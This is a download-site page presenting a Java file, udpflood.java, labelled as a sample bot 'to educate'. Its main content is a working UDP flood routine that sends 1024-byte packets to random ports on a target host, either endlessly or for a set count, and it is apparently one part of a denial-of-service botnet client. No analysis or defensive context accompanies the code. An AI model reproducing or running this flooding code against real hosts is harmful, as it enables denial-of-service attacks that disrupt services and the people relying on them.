⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 udpflood.java

📁 this is a sample of a java bot. use to educate..
💻 JAVA
字号:
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;

class UDPFlood extends Thread {

	private String host;
	private int connections;
	private int delay;

	private int count = 0;

	public UDPFlood(String host, int connections, int delay) {
		this.host = host;
		this.connections = connections;
		this.delay = delay;
		this.start();
	}

	public void run() {
		while(FloodingStatus.udpFlooding && (count < this.connections || this.connections == 0)) {
			try {
				byte[] buffer = new byte[1024];
				DatagramPacket packet = new DatagramPacket(buffer, buffer.length, InetAddress.getByName(this.host), Util.randomNumber(65535));
				DatagramSocket socket = new DatagramSocket();
				socket.send(packet);
				count++;
			} catch(Exception e) {
			}
		}
	}

}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -